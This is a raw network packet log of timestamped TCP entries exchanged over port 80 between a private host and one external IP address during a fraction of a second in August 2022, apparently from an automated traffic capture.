Aug 23, 2022 03:42:52.877687931 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.877688885 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.877710104 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.877733946 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.882869959 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.882900953 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.882924080 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.882946014 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.882977009 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.883024931 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.883907080 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.883960962 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.883977890 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.884001017 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.890402079 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.890433073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.890455961 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.890472889 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.890500069 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.890500069 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.890542030 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.890590906 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.890614986 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.890635967 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.890638113 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.890661001 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.890662909 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.890683889 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.890686989 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.890707970 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.890712023 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.890727043 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.890748978 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.890795946 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.890820026 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.890840054 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.890841961 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.890861988 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.890866041 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.890887976 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.890908003 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.891187906 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891212940 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891241074 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891244888 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.891264915 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891268969 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.891289949 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891293049 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.891314030 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.891314030 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891336918 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.891339064 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891369104 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.891377926 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.891380072 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891405106 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891419888 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.891429901 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891441107 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.891453981 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891465902 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.891475916 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891490936 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.891500950 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891515970 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.891525030 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891547918 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891558886 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.891571999 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891593933 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891597986 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.891618013 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891633034 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.891640902 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891664982 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891665936 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.891690016 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891712904 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891714096 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.891736984 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891761065 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891772032 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.891782999 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891805887 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.891805887 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891832113 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891836882 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.891855955 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891877890 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891886950 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.891897917 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891921997 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.891921997 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891947985 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891948938 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.891964912 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.891974926 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.891998053 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.909296036 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.909329891 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.909353018 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.909369946 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.909387112 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.909394026 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.909416914 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.909418106 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.909421921 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.909440994 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.909446001 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.909466028 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.909486055 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.909488916 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.909512997 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.909526110 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.909531116 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.909567118 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.909599066 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.914685965 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.914715052 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.914798975 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.914836884 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.914882898 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.914925098 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.914943933 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.914964914 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.915013075 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.915050983 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.915086985 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.915090084 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.915126085 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.915133953 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.915188074 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.915240049 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.915280104 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.915674925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.915724039 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.915729046 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.915765047 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.915785074 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.915836096 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.915870905 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.915889025 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.915911913 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.915930986 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.915945053 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.915982008 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.916017056 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.916054010 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.916100979 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.916136980 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.916182995 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.916197062 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.916218042 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.916239977 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.916637897 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.916685104 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.916743994 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.916774035 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.916785002 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.916814089 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.916850090 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.916887045 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.916899920 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.916918993 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.916946888 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.916949034 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.916961908 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.916964054 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.916994095 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.916997910 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.917020082 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.917025089 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.917036057 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.917063951 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.917076111 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.917119026 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.917141914 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.917155027 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.917185068 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.917201042 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.917208910 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.917215109 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.917241096 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.917263031 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.917269945 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.917314053 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.917342901 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.917356968 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.917375088 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.917418003 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.917433023 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.917443037 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.917448997 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.917483091 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.917491913 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.917536020 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.917536974 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.917557001 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.917587042 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.917612076 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.917699099 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.917712927 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.917737961 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.917741060 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.917776108 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.917795897 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.917813063 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.917829990 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.917843103 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.917855024 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.917865038 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.917898893 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.917908907 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.917936087 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.917948008 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.917959929 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.917988062 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.917994022 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.918016911 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.918020010 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.918044090 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.918065071 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.918104887 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.918118000 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.918140888 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.918142080 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.918165922 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.918171883 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.918186903 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.918220043 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.918224096 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.918240070 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.918256044 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.918262959 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.918292999 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.918306112 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.918342113 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.918382883 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.918387890 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.918396950 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.918422937 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.918428898 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.918443918 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.918472052 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.918473005 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.918509007 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.918512106 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.918523073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.918545008 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.918565989 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.941205025 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.941236019 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.941253901 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.941267014 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.941308022 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.941324949 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.941342115 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.941369057 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.941365957 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.941410065 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.941431046 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.941550970 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.941590071 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.941595078 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.941607952 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.941621065 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.941627979 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.941648960 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.941670895 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.946166992 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.946193933 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.946228027 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.946268082 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.946268082 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.946305037 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.946321964 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.946347952 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.946367025 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.946387053 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.946407080 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.946419001 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.946456909 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.946552992 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.946580887 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.946593046 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.946615934 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.946628094 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.946651936 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.946667910 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.946690083 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.946954012 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.946973085 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.947005987 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.947016001 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.947031021 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.947036028 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.947052956 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.947073936 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.947537899 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.947587967 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.947602034 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.947604895 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.947618961 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.947626114 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.947634935 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.947645903 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.947680950 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.947686911 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.947724104 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.947730064 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.947737932 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.947762012 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.947787046 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.947820902 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.947860956 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.947870970 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.947907925 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.947911024 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.947937012 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.947947025 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.947972059 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.948035955 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.948067904 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.948074102 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.948102951 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.948152065 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.948172092 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.948188066 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.948209047 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.949039936 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.949060917 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.949079037 CEST	80	49743	45.95.11.158	192.168.2.4
